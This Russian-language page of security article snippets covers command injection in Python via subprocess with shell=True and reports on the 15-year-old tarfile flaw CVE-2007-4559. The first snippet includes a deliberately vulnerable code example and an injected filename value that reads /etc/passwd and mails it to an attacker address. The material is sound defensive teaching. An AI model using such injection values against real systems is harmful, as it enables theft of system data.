Уязвимости и безопасность в Python: разбор критических ошибок и стратегии защиты
Использование subprocess.call, os.system или popen с невалидируемым пользовательским вводом — частая ошибка. Пример: python Copy Download import subprocess def transcode_file(filename): command = f'ffmpeg -i "{filename}" output.mpg' # Уязвимость! subprocess.call(command, shell=True) # Параметр shell=True опасен Угроза: Злоумышленник может передать filename вида "; cat /etc/passwd | mail attacker@example.com, выполнив произвольные команды. Решение: python Copy Download subprocess.call(['ffmpeg', '-i', shlex...
3 года назад
15-летней уязвимости Python подвержены более 350000 проектов.
До 350 000 проектов с открытым исходным кодом потенциально уязвимы для атаки в результате наличия дефекта безопасности в модуле Python, который оставался неисправленным в течение 15 лет. Репозитории с открытым исходным кодом охватывают ряд отраслевых вертикалей, таких как разработка программного обеспечения, искусственный интеллект/машинное обучение, веб-разработка, медиа, безопасность, управление ИТ. Недостаток, отслеживаемый как CVE-2007-4559 (рейтинг CVSS: 6.8), коренится в модуле tarfile, успешная эксплуатация которого может привести к выполнению кода и произвольной записи файла...